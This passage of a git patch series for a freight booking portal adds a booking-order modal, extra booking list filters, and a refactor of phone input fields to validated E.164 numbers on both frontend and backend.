[quantities, setQuantities] = useState>({}); + + const { data: availableDays, isLoading: daysLoading } = useQuery({ + ...api.bookings.getAvailableDays.queryOptions({ + input: { + originYardId: contract.originYard?.id, + destinationYardId: contract.destinationYard?.id, + }, + }), + enabled: opened && !!contract.originYard?.id && !!contract.destinationYard?.id, + }); + + const dayOptions = useMemo( + () => + (availableDays ?? []).map((d) => ({ + value: d, + label: new Date(d).toLocaleDateString(undefined, { + weekday: "short", + year: "numeric", + month: "short", + day: "numeric", + }), + })), + [availableDays], + ); + + const lineKey = (line: Freight.ContractQuantityLine) => + line.containerTypeId ?? "__bulk__"; + + const createMutation = useMutation({ + ...api.bookingOrders.create.mutationOptions(), + onSuccess: () => { + queryClient.invalidateQueries({ + queryKey: api.bookingOrders.listByContract.queryKey({ + contractBookingId: contract.id, + }), + }); + queryClient.invalidateQueries({ + queryKey: api.bookingOrders.pool.queryKey({ + contractBookingId: contract.id, + }), + }); + queryClient.invalidateQueries({ + queryKey: api.bookings.get.queryKey({ id: contract.id }), + }); + reset(); + onPlaced(); + }, + }); + + function reset() { + setScheduledDate(null); + setQuantities({}); + } + + function handleClose() { + if (createMutation.isPending) return; + reset(); + onClose(); + } + + function handleSubmit() { + if (!scheduledDate) return; + const lines: Freight.CreateBookingOrderLineDto[] = pool + .map((line) => { + const raw = quantities[lineKey(line)]; + const qty = typeof raw === "number" ? raw : 0; + return { + containerTypeId: isContainer ? line.containerTypeId : null, + quantity: qty, + }; + }) + .filter((l) => l.quantity > 0); + + if (lines.length === 0) return; + + createMutation.mutate({ + contractBookingId: contract.id, + scheduledDate: new Date(scheduledDate).toISOString(), + lines, + }); + } + + const orderableLines = pool.filter((l) => l.remainingQuantity > 0); + const hasQuantity = pool.some((l) => { + const raw = quantities[lineKey(l)]; + return typeof raw === "number" && raw > 0; + }); + const canSubmit = !!scheduledDate && hasQuantity && !createMutation.isPending; + + return ( + + + + Place an order + + + } + radius="lg" + centered + size="md" + > + + + Draw down from contract {contract.reference}. Route, + cargo and service are inherited — just pick a shipment date and + quantity. + + + { + setTypeFilter(v); + resetPage(); + }} + clearable + radius="md" + comboboxProps={{ withinPortal: true }} + style={{ width: 170 }} + aria-label="Filter by booking type" + /> + { + setFreightFilter(v); + resetPage(); + }} + clearable + radius="md" + comboboxProps={{ withinPortal: true }} + style={{ width: 160 }} + styles={{ input: { height: 44 } }} + aria-label="Filter by cargo type" + /> + { + setCreatedFrom(e.currentTarget.value); + resetPage(); + }} + radius="md" + style={{ width: 160 }} + styles={{ input: { height: 44 } }} + aria-label="Created from" + /> + { + setCreatedTo(e.currentTarget.value); + resetPage(); + }} + radius="md" + style={{ width: 160 }} + styles={{ input: { height: 44 } }} + aria-label="Created to" + /> + {hasExtraFilters && ( + + )} + {/* Table */} diff --git a/apps/edr-freight-web/portal/src/services/bookings.service.ts b/apps/edr-freight-web/portal/src/services/bookings.service.ts index 67848915c..a95026f93 100644 --- a/apps/edr-freight-web/portal/src/services/bookings.service.ts +++ b/apps/edr-freight-web/portal/src/services/bookings.service.ts @@ -71,6 +71,13 @@ export interface BookingListFilter { statuses?: string; /** ONE_TIME or GENERAL_CONTRACT. */ bookingType?: string; + /** CONTAINER or BULK. */ + freightType?: string; + /** IMPORT / EXPORT / DOMESTIC. */ + tradeDirection?: string; + /** Created-date range (ISO). */ + createdFrom?: string; + createdTo?: string; page?: number; pageSize?: number; sortBy?: string; From dc708a2473f5d1012d441d92564e374557f555e7 Mon Sep 17 00:00:00 2001 From: Marshal Date: Sun, 21 Jun 2026 10:34:40 +0000 Subject: [PATCH 13/19] Refactor phone input handling across onboarding and settings forms - Replaced PhoneInput component with ControlledPhoneField for better integration with react-hook-form. - Updated validation for phone numbers using isValidPhone function to ensure proper formatting. - Removed country code handling from forms, simplifying phone number management. - Introduced new phone field component with consistent styling and behavior. - Added phone number validation on the backend using class-validator. - Removed unused phone utility functions and cleaned up related code. --- apps/edr-freight-api/package.json | 1 + .../validators/is-phone-number.validator.ts | 53 +++++++ .../modules/companies/companies.service.ts | 19 ++- .../dto/create-company-with-profile.dto.ts | 2 + .../companies/dto/create-company.dto.ts | 2 + .../dto/create-external-profile.dto.ts | 2 + .../companies/dto/update-profile.dto.ts | 6 + apps/edr-freight-web/portal/package.json | 1 + .../portal/src/components/PhoneField.tsx | 119 +++++++++++++++ .../portal/src/components/auth/PhoneInput.tsx | 47 ------ .../portal/src/components/phone-field.css | 82 ++++++++++ .../src/pages/accounts/CompanyProfileForm.tsx | 136 ++++++----------- .../src/pages/accounts/DjiboutiAgentForm.tsx | 48 +++--- .../src/pages/accounts/ForwarderForm.tsx | 113 +++++++------- .../portal/src/pages/accounts/LoginPage.tsx | 47 ++++-- .../portal/src/pages/accounts/SignupPage.tsx | 73 ++++----- .../DjiboutiFreightForwardingAgent.tsx | 92 +++-------- .../on_boarding/ImportExportOnBoarding.tsx | 144 +++++------------- .../on_boarding/TransportrOnBoarding.tsx | 21 +-- .../src/pages/settings/TabCompanyProfile.tsx | 35 ++--- .../src/pages/settings/TabContactPerson.tsx | 31 ++-- .../src/pages/settings/TabGeneralManager.tsx | 31 ++-- .../src/pages/settings/TabPowerOfAttorney.tsx | 33 ++-- .../edr-freight-web/portal/src/utils/phone.ts | 25 --- pnpm-lock.yaml | 50 ++++++ 25 files changed, 645 insertions(+), 568 deletions(-) create mode 100644 apps/edr-freight-api/src/common/validators/is-phone-number.validator.ts create mode 100644 apps/edr-freight-web/portal/src/components/PhoneField.tsx delete mode 100644 apps/edr-freight-web/portal/src/components/auth/PhoneInput.tsx create mode 100644 apps/edr-freight-web/portal/src/components/phone-field.css delete mode 100644 apps/edr-freight-web/portal/src/utils/phone.ts diff --git a/apps/edr-freight-api/package.json b/apps/edr-freight-api/package.json index 506ec86f0..115d3624a 100644 --- a/apps/edr-freight-api/package.json +++ b/apps/edr-freight-api/package.json @@ -45,6 +45,7 @@ "class-validator": "^0.14.1", "dotenv": "^17.4.2", "handlebars": "^4.7.9", + "libphonenumber-js": "^1.13.6", "minio": "7.1.3", "pg": "^8.13.0", "puppeteer": "^24.2.0", diff --git a/apps/edr-freight-api/src/common/validators/is-phone-number.validator.ts b/apps/edr-freight-api/src/common/validators/is-phone-number.validator.ts new file mode 100644 index 000000000..4f8dac4c7 --- /dev/null +++ b/apps/edr-freight-api/src/common/validators/is-phone-number.validator.ts @@ -0,0 +1,53 @@ +import { + registerDecorator, + ValidationArguments, + ValidationOptions, + ValidatorConstraint, + ValidatorConstraintInterface, +} from 'class-validator'; +import { isValidPhoneNumber, parsePhoneNumberFromString } from 'libphonenumber-js'; + +/** + * Country-aware phone validation. The value is expected as a full international + * number (E.164, e.g. "+251911223344"), so the country is derived from the + * value itself — no separate country field needed. + */ +@ValidatorConstraint({ name: 'IsValidPhone', async: false }) +export class IsValidPhoneConstraint implements ValidatorConstraintInterface { + validate(value: unknown): boolean { + // Empty is allowed here; pair with @IsOptional / @IsNotEmpty as needed. + if (value === undefined || value === null || value === '') return true; + if (typeof value !== 'string') return false; + return isValidPhoneNumber(value); + } + + defaultMessage(args: ValidationArguments): string { + return `${args.property} must be a valid international phone number (E.164, e.g. +251911223344)`; + } +} + +/** Class-validator decorator wrapping the country-aware phone constraint. */ +export function IsValidPhone(validationOptions?: ValidationOptions) { + return function (object: object, propertyName: string) { + registerDecorator({ + target: object.constructor, + propertyName, + options: validationOptions, + constraints: [], + validator: IsValidPhoneConstraint, + }); + }; +} + +/** + * Normalize a phone string to canonical E.164. Returns the canonical form when + * parseable, otherwise the trimmed original (tolerant — never throws), or the + * value unchanged when empty/nullish. + */ +export function normalizeE164( + value: string | null | undefined, +): string | null | undefined { + if (value === undefined || value === null || value === '') return value; + const parsed = parsePhoneNumberFromString(value); + return parsed?.isValid() ? parsed.number : value.trim(); +} diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index 69c4c3cae..78525d2c9 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -10,6 +10,7 @@ import { ExternalProfileRepository } from "./external-profile.repository"; import { CompanyDashboardRepository } from "./company-dashboard.repository"; import { MinioService } from "../minio/minio.service"; import { ETradeService } from "./services/etrade.service"; +import { normalizeE164 } from "../../common/validators/is-phone-number.validator"; import { CreateCompanyDto } from "./dto/create-company.dto"; import { UpdateCompanyDto } from "./dto/update-company.dto"; import { CreateExternalProfileDto } from "./dto/create-external-profile.dto"; @@ -86,7 +87,7 @@ export class CompaniesService { fanNumber: dto.fanNumber ?? null, country: dto.companyLocation ?? "Ethiopia", address: dto.companyAddress ?? null, - phone: dto.companyPhone ?? null, + phone: normalizeE164(dto.companyPhone) ?? null, email: dto.companyEmail ?? null, attributes: dto.attributes ?? null, }); @@ -109,7 +110,7 @@ export class CompaniesService { firstName: identity.firstName, lastName: identity.lastName, email: identity.email, - phone: identity.phone, + phone: normalizeE164(identity.phone) ?? identity.phone, jobTitle: dto.jobTitle ?? null, isPrimaryContact: dto.isPrimaryContact ?? true, activeProfileType, @@ -209,7 +210,7 @@ export class CompaniesService { firstName: identity.firstName, lastName: identity.lastName, email: identity.email, - phone: identity.phone, + phone: normalizeE164(identity.phone) ?? identity.phone, isPrimaryContact: true, activeProfileType, onboardingStep: "company", @@ -475,7 +476,8 @@ export class CompaniesService { companyUpdates.nationality = dto.nationality; if (dto.companyName !== undefined) companyUpdates.name = dto.companyName; if (dto.companyEmail !== undefined) companyUpdates.email = dto.companyEmail; - if (dto.companyPhone !== undefined) companyUpdates.phone = dto.companyPhone; + if (dto.companyPhone !== undefined) + companyUpdates.phone = normalizeE164(dto.companyPhone); if (dto.companyLocation !== undefined) companyUpdates.country = dto.companyLocation; if (dto.companyAddress !== undefined) @@ -503,15 +505,16 @@ export class CompaniesService { if (dto.contactPersonEmail !== undefined) attrUpdates.contactPersonEmail = dto.contactPersonEmail; if (dto.contactPersonPhone !== undefined) - attrUpdates.contactPersonPhone = dto.contactPersonPhone; + attrUpdates.contactPersonPhone = normalizeE164(dto.contactPersonPhone); if (dto.generalManagerName !== undefined) attrUpdates.generalManagerName = dto.generalManagerName; if (dto.generalManagerEmail !== undefined) attrUpdates.generalManagerEmail = dto.generalManagerEmail; if (dto.generalManagerPhone !== undefined) - attrUpdates.generalManagerPhone = dto.generalManagerPhone; + attrUpdates.generalManagerPhone = normalizeE164(dto.generalManagerPhone); if (dto.poaName !== undefined) attrUpdates.poaName = dto.poaName; - if (dto.poaPhone !== undefined) attrUpdates.poaPhone = dto.poaPhone; + if (dto.poaPhone !== undefined) + attrUpdates.poaPhone = normalizeE164(dto.poaPhone); if (dto.poaEmail !== undefined) attrUpdates.poaEmail = dto.poaEmail; if (dto.poaLocation !== undefined) attrUpdates.poaLocation = dto.poaLocation; @@ -540,7 +543,7 @@ export class CompaniesService { if (dto.houseNo !== undefined) companyUpdates.houseNo = dto.houseNo; if (dto.etradePhone !== undefined) - companyUpdates.etradePhone = dto.etradePhone; + companyUpdates.etradePhone = normalizeE164(dto.etradePhone); companyUpdates.attributes = attrUpdates; diff --git a/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts index aa0bb72a2..eb32f72ae 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts @@ -2,6 +2,7 @@ import { IsString, IsNotEmpty, IsOptional, IsEmail, MaxLength, IsBoolean, IsEnum import { Type } from 'class-transformer'; import { CompanyType } from '../entities/company.entity'; import { ProfileType } from '../entities/company-profile.entity'; +import { IsValidPhone } from '../../../common/validators/is-phone-number.validator'; export class CompanyProfileInputDto { @IsEnum(ProfileType) @@ -30,6 +31,7 @@ export class CreateCompanyWithProfileDto { @IsOptional() @IsString() @MaxLength(20) + @IsValidPhone() companyPhone?: string; @IsOptional() diff --git a/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts index 5718f541e..0a699fe5e 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts @@ -1,5 +1,6 @@ import { IsString, IsNotEmpty, IsOptional, IsEnum, MaxLength, Length, Matches, IsEmail } from 'class-validator'; import { CompanyType, CompanyStatus } from '../entities/company.entity'; +import { IsValidPhone } from '../../../common/validators/is-phone-number.validator'; export class CreateCompanyDto { @IsString() @@ -37,6 +38,7 @@ export class CreateCompanyDto { @IsOptional() @IsString() @MaxLength(20) + @IsValidPhone() phone?: string; @IsOptional() diff --git a/apps/edr-freight-api/src/modules/companies/dto/create-external-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/create-external-profile.dto.ts index c694a50e0..7a9b94c44 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/create-external-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/create-external-profile.dto.ts @@ -1,4 +1,5 @@ import { IsString, IsNotEmpty, IsOptional, IsEmail, MaxLength, IsBoolean, IsUUID } from 'class-validator'; +import { IsValidPhone } from '../../../common/validators/is-phone-number.validator'; export class CreateExternalProfileDto { @IsUUID() @@ -26,6 +27,7 @@ export class CreateExternalProfileDto { @IsOptional() @IsString() @MaxLength(20) + @IsValidPhone() phone?: string; @IsOptional() diff --git a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts index 8bb691a80..d94cb5f35 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts @@ -1,5 +1,6 @@ import { IsString, IsOptional, IsEmail, MaxLength, Length, Matches, IsEnum } from 'class-validator'; import { CompanyNationality } from '../entities/company.entity'; +import { IsValidPhone } from '../../../common/validators/is-phone-number.validator'; export class UpdateProfileDto { @IsOptional() @@ -19,6 +20,7 @@ export class UpdateProfileDto { @IsOptional() @IsString() @MaxLength(20) + @IsValidPhone() companyPhone?: string; @IsOptional() @@ -60,6 +62,7 @@ export class UpdateProfileDto { @IsOptional() @IsString() + @IsValidPhone() contactPersonPhone?: string; @IsOptional() @@ -72,6 +75,7 @@ export class UpdateProfileDto { @IsOptional() @IsString() + @IsValidPhone() generalManagerPhone?: string; @IsOptional() @@ -80,6 +84,7 @@ export class UpdateProfileDto { @IsOptional() @IsString() + @IsValidPhone() poaPhone?: string; @IsOptional() @@ -151,5 +156,6 @@ export class UpdateProfileDto { @IsOptional() @IsString() @MaxLength(20) + @IsValidPhone() etradePhone?: string; } diff --git a/apps/edr-freight-web/portal/package.json b/apps/edr-freight-web/portal/package.json index f5fddd009..d7b458b19 100644 --- a/apps/edr-freight-web/portal/package.json +++ b/apps/edr-freight-web/portal/package.json @@ -29,6 +29,7 @@ "react-dom": "19.2.6", "react-hook-form": "^7.76.0", "react-hot-toast": "^2.6.0", + "react-phone-number-input": "^3.4.17", "react-router-dom": "^6.27.0", "recharts": "^3.8.1", "tailwind-merge": "^3.6.0", diff --git a/apps/edr-freight-web/portal/src/components/PhoneField.tsx b/apps/edr-freight-web/portal/src/components/PhoneField.tsx new file mode 100644 index 000000000..e1ad3cd56 --- /dev/null +++ b/apps/edr-freight-web/portal/src/components/PhoneField.tsx @@ -0,0 +1,119 @@ +import { Input } from "@mantine/core"; +import { forwardRef } from "react"; +import { + Controller, + type Control, + type FieldValues, + type Path, +} from "react-hook-form"; +import RPNInput, { isValidPhoneNumber } from "react-phone-number-input"; +import "react-phone-number-input/style.css"; +import "./phone-field.css"; + +/** Re-exported for zod `.refine()` checks on phone fields. */ +export const isValidPhone = (value?: string | null): boolean => + !!value && isValidPhoneNumber(value); + +/** + * The text input rendered inside react-phone-number-input, styled to match the + * portal's Mantine fields (44px height, 10px radius, edr border). Must forward + * the ref and accept native input props for the library to drive it. + */ +const StyledInput = forwardRef>( + function StyledInput(props, ref) { + return ; + }, +); + +export interface PhoneFieldProps { + label?: string; + value?: string; + onChange: (value: string | undefined) => void; + onBlur?: () => void; + error?: string; + required?: boolean; + disabled?: boolean; + placeholder?: string; +} + +/** + * Professional phone input: searchable country selector (all countries, default + * Ethiopia), live formatting, emits a single E.164 value (e.g. +251912345678). + * Visually aligned with the portal's Mantine form fields. + */ +export function PhoneField({ + label, + value, + onChange, + onBlur, + error, + required, + disabled, + placeholder = "912 345 678", +}: PhoneFieldProps) { + return ( + +
+ +
+
+ ); +} + +interface ControlledPhoneFieldProps { + control: Control; + name: Path; + label?: string; + required?: boolean; + disabled?: boolean; + placeholder?: string; +} + +/** RHF Controller wrapper so forms drop in one line. */ +export function ControlledPhoneField({ + control, + name, + label, + required, + disabled, + placeholder, +}: ControlledPhoneFieldProps) { + return ( + ( + field.onChange(v ?? "")} + onBlur={field.onBlur} + error={fieldState.error?.message} + /> + )} + /> + ); +} + +export default PhoneField; diff --git a/apps/edr-freight-web/portal/src/components/auth/PhoneInput.tsx b/apps/edr-freight-web/portal/src/components/auth/PhoneInput.tsx deleted file mode 100644 index 556f8e309..000000000 --- a/apps/edr-freight-web/portal/src/components/auth/PhoneInput.tsx +++ /dev/null @@ -1,47 +0,0 @@ -import { Group, Stack, Text, TextInput, type TextInputProps } from "@mantine/core"; - -type InputPassthrough = Partial; - -interface PhoneInputProps { - disabled?: boolean; - countryCode?: InputPassthrough; - phone?: InputPassthrough; - countryCodeError?: { message?: string }; - phoneError?: { message?: string }; - label?: string; -} - -export default function PhoneInput({ - disabled, - countryCode: countryCodeProps, - phone: phoneProps, - countryCodeError, - phoneError, - label = "Phone Number", -}: PhoneInputProps) { - const errorMsg = countryCodeError?.message ?? phoneError?.message; - return ( - - {label} - - - - - {errorMsg && ( - {errorMsg} - )} - - ); -} diff --git a/apps/edr-freight-web/portal/src/components/phone-field.css b/apps/edr-freight-web/portal/src/components/phone-field.css new file mode 100644 index 000000000..2fd037b99 --- /dev/null +++ b/apps/edr-freight-web/portal/src/components/phone-field.css @@ -0,0 +1,82 @@ +/* Align react-phone-number-input with the portal's Mantine field styling: + 44px height, 10px radius, edr border, brand-green focus ring. */ + +.edr-phone-wrapper .PhoneInput { + display: flex; + align-items: stretch; + gap: 8px; +} + +/* Country selector — a compact pill matching the input height/radius. */ +.edr-phone-wrapper .PhoneInputCountry { + margin: 0; + padding: 0 10px; + height: 44px; + border: 1px solid #e6ecf2; + border-radius: 10px; + background: #fff; + display: flex; + align-items: center; + gap: 6px; + transition: + border-color 120ms ease, + box-shadow 120ms ease; +} + +.edr-phone-wrapper .PhoneInputCountryIcon { + width: 22px; + height: 16px; + box-shadow: none; +} + +.edr-phone-wrapper .PhoneInputCountrySelectArrow { + color: #6b7c8e; + opacity: 0.8; +} + +/* The number input itself. */ +.edr-phone-input { + flex: 1; + min-width: 0; + height: 44px; + padding: 0 12px; + border: 1px solid #e6ecf2; + border-radius: 10px; + font-size: 14px; + color: #10202f; + background: #fff; + outline: none; + transition: + border-color 120ms ease, + box-shadow 120ms ease; +} + +.edr-phone-input::placeholder { + color: #9aa8b5; +} + +.edr-phone-input:focus { + border-color: #0ea371; + box-shadow: 0 0 0 3px rgba(14, 163, 113, 0.15); +} + +.edr-phone-wrapper .PhoneInputCountry:focus-within { + border-color: #0ea371; + box-shadow: 0 0 0 3px rgba(14, 163, 113, 0.15); +} + +.edr-phone-input:disabled, +.edr-phone-wrapper .PhoneInputCountrySelect:disabled + .PhoneInputCountryIcon { + opacity: 0.6; + cursor: not-allowed; +} + +/* Error state mirrors Mantine's invalid styling. */ +.edr-phone-wrapper--error .edr-phone-input, +.edr-phone-wrapper--error .PhoneInputCountry { + border-color: #e03131; +} + +.edr-phone-wrapper--error .edr-phone-input:focus { + box-shadow: 0 0 0 3px rgba(224, 49, 49, 0.12); +} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 9c2c4001d..f64fd7efd 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -34,10 +34,9 @@ import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; import type { CompanyRegistrationData } from "@edr/types"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; -import { splitPhone } from "@/utils/phone"; import RoleLicenseStep, { type RoleLicenseProfile, } from "@/components/onboarding/RoleLicenseStep"; @@ -54,8 +53,10 @@ type CompanyStep = const onboardingSchema = z.object({ companyName: z.string().min(1, "Company name is required"), companyEmail: z.string().email("Invalid email address"), - companyPhone: z.string().min(1, "Company phone is required"), - companyPhoneCountryCode: z.string().min(1, "Country code is required"), + companyPhone: z + .string() + .min(1, "Company phone is required") + .refine(isValidPhone, "Enter a valid phone number"), companyLocation: z.string().min(1, "Location is required"), // Derived from the eTrade address parts (kebele/woreda/zone/region); no // standalone input — the granular fields live in the registration section. @@ -85,15 +86,21 @@ const onboardingSchema = z.object({ .email("Invalid email address") .optional() .or(z.literal("")), - contactPersonPhone: z.string().min(1, "Contact person phone is required"), - contactPersonPhoneCountryCode: z.string().min(1, "Country code is required"), + contactPersonPhone: z + .string() + .min(1, "Contact person phone is required") + .refine(isValidPhone, "Enter a valid phone number"), generalManagerName: z.string().min(1, "GM name is required"), generalManagerEmail: z.string().email("Invalid GM email"), - generalManagerPhone: z.string().min(1, "GM phone is required"), - generalManagerPhoneCountryCode: z.string().min(1, "Country code is required"), + generalManagerPhone: z + .string() + .min(1, "GM phone is required") + .refine(isValidPhone, "Enter a valid phone number"), poaName: z.string().optional(), - poaPhone: z.string().optional(), - poaPhoneCountryCode: z.string().optional(), + poaPhone: z + .string() + .optional() + .refine((v) => !v || isValidPhone(v), "Enter a valid phone number"), poaAddress: z.string().optional(), poaEmail: z.string().optional(), poaLocation: z.string().optional(), @@ -106,7 +113,6 @@ const stepFields: Record = { "companyName", "companyEmail", "companyPhone", - "companyPhoneCountryCode", "companyLocation", "companyAddress", "tinNumber", @@ -129,14 +135,12 @@ const stepFields: Record = { "generalManagerName", "generalManagerEmail", "generalManagerPhone", - "generalManagerPhoneCountryCode", ], contact: [ "contactPersonName", "contactPersonPosition", "contactPersonEmail", "contactPersonPhone", - "contactPersonPhoneCountryCode", ], poa: [], documents: [], @@ -147,7 +151,7 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { return { companyName: data.companyName, companyEmail: data.companyEmail, - companyPhone: `${data.companyPhoneCountryCode}${data.companyPhone}`, + companyPhone: data.companyPhone, companyLocation: data.companyLocation, companyAddress: data.companyAddress, tin: data.tinNumber, @@ -157,15 +161,12 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { contactPersonName: data.contactPersonName, contactPersonPosition: data.contactPersonPosition || undefined, contactPersonEmail: data.contactPersonEmail || undefined, - contactPersonPhone: `${data.contactPersonPhoneCountryCode}${data.contactPersonPhone}`, + contactPersonPhone: data.contactPersonPhone, generalManagerName: data.generalManagerName, generalManagerEmail: data.generalManagerEmail, - generalManagerPhone: `${data.generalManagerPhoneCountryCode}${data.generalManagerPhone}`, + generalManagerPhone: data.generalManagerPhone, poaName: data.poaName || undefined, - poaPhone: - data.poaPhone && data.poaPhoneCountryCode - ? `${data.poaPhoneCountryCode}${data.poaPhone}` - : undefined, + poaPhone: data.poaPhone || undefined, poaAddress: data.poaAddress || undefined, poaEmail: data.poaEmail || undefined, poaLocation: data.poaLocation || undefined, @@ -180,7 +181,7 @@ function stepPayload(step: CompanyStep, d: FormData): Partial { if (!etradeOwner) return; setValue("generalManagerName", etradeOwner.name); - const { number, countryCode } = splitPhone(etradeOwner.phone); - setValue("generalManagerPhone", number); - setValue("generalManagerPhoneCountryCode", countryCode); + setValue("generalManagerPhone", etradeOwner.phone ?? "", { + shouldValidate: true, + }); }; /** Copy the General Manager into the Contact Person fields (toggleable). */ @@ -474,10 +459,6 @@ export default function CompanyProfileForm({ setValue("contactPersonName", watch("generalManagerName")); setValue("contactPersonEmail", watch("generalManagerEmail")); setValue("contactPersonPhone", watch("generalManagerPhone")); - setValue( - "contactPersonPhoneCountryCode", - watch("generalManagerPhoneCountryCode"), - ); }; /** Copy the Contact Person into the PoA fields (toggleable, still editable). */ @@ -487,7 +468,6 @@ export default function CompanyProfileForm({ setValue("poaName", watch("contactPersonName")); setValue("poaEmail", watch("contactPersonEmail")); setValue("poaPhone", watch("contactPersonPhone")); - setValue("poaPhoneCountryCode", watch("contactPersonPhoneCountryCode")); }; const hasDocuments = Boolean(uploadSetting?.fields?.length); @@ -663,15 +643,11 @@ export default function CompanyProfileForm({ error={errors.companyEmail?.message} {...register("companyEmail")} /> -
- @@ -877,15 +847,11 @@ export default function CompanyProfileForm({ error={errors.contactPersonEmail?.message} {...register("contactPersonEmail")} /> - @@ -917,11 +883,9 @@ export default function CompanyProfileForm({ error={errors.poaEmail?.message} {...register("poaEmail")} /> - diff --git a/apps/edr-freight-web/portal/src/pages/accounts/DjiboutiAgentForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/DjiboutiAgentForm.tsx index eb58b98c1..89570c545 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/DjiboutiAgentForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/DjiboutiAgentForm.tsx @@ -16,7 +16,7 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; @@ -25,21 +25,25 @@ type DjiboutiStep = "company" | "representative" | "documents" | "confirm"; const djiboutiSchema = z.object({ companyName: z.string().min(1, "Company name is required"), companyEmail: z.string().email("Invalid email address"), - companyPhone: z.string().min(1, "Company phone is required"), - companyPhoneCountryCode: z.string().min(1, "Country code is required"), + companyPhone: z + .string() + .min(1, "Company phone is required") + .refine(isValidPhone, "Enter a valid phone number"), companyLocation: z.string().min(1, "Location / Country is required"), companyAddress: z.string().min(1, "Address is required"), repName: z.string().min(1, "Representative name is required"), repEmail: z.string().email("Invalid representative email"), - repPhone: z.string().min(1, "Representative phone is required"), - repPhoneCountryCode: z.string().min(1, "Country code is required"), + repPhone: z + .string() + .min(1, "Representative phone is required") + .refine(isValidPhone, "Enter a valid phone number"), }); type FormData = z.infer; const stepFields: Record = { - company: ["companyName", "companyEmail", "companyPhone", "companyPhoneCountryCode", "companyLocation", "companyAddress"], - representative: ["repName", "repEmail", "repPhone", "repPhoneCountryCode"], + company: ["companyName", "companyEmail", "companyPhone", "companyLocation", "companyAddress"], + representative: ["repName", "repEmail", "repPhone"], documents: [], confirm: [], }; @@ -48,7 +52,7 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { return { companyName: data.companyName, companyEmail: data.companyEmail, - companyPhone: `${data.companyPhoneCountryCode}${data.companyPhone}`, + companyPhone: data.companyPhone, companyLocation: data.companyLocation, companyAddress: data.companyAddress, tin: "", @@ -57,7 +61,7 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { attributes: { repName: data.repName, repEmail: data.repEmail, - repPhone: `${data.repPhoneCountryCode}${data.repPhone}`, + repPhone: data.repPhone, }, }; } @@ -88,11 +92,11 @@ export default function DjiboutiAgentForm({ api.fileUploadSettings.getByCode.queryOptions({ input: { code: documentSettingCode }, refetchOnMount: false }), ); - const { register, handleSubmit, trigger, watch, formState: { errors } } = useForm({ + const { register, control, handleSubmit, trigger, watch, formState: { errors } } = useForm({ resolver: zodResolver(djiboutiSchema), defaultValues: { - companyName: "", companyEmail: "", companyPhone: "", companyPhoneCountryCode: "+253", - companyLocation: "", companyAddress: "", repName: "", repEmail: "", repPhone: "", repPhoneCountryCode: "+253", + companyName: "", companyEmail: "", companyPhone: "", + companyLocation: "", companyAddress: "", repName: "", repEmail: "", repPhone: "", }, }); @@ -195,12 +199,11 @@ export default function DjiboutiAgentForm({ error={errors.companyEmail?.message} {...register("companyEmail")} /> - @@ -239,12 +242,11 @@ export default function DjiboutiAgentForm({ error={errors.repEmail?.message} {...register("repEmail")} /> - @@ -280,7 +282,7 @@ export default function DjiboutiAgentForm({ - + )} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx index a2867a24f..e13ec2282 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx @@ -19,10 +19,9 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; -import { splitPhone } from "@/utils/phone"; import RoleLicenseStep, { type RoleLicenseProfile, } from "@/components/onboarding/RoleLicenseStep"; @@ -32,23 +31,31 @@ type ForwarderStep = "company" | "personnel" | "poa" | "documents" | "additional const forwarderSchema = z.object({ companyName: z.string().min(1, "Company name is required"), 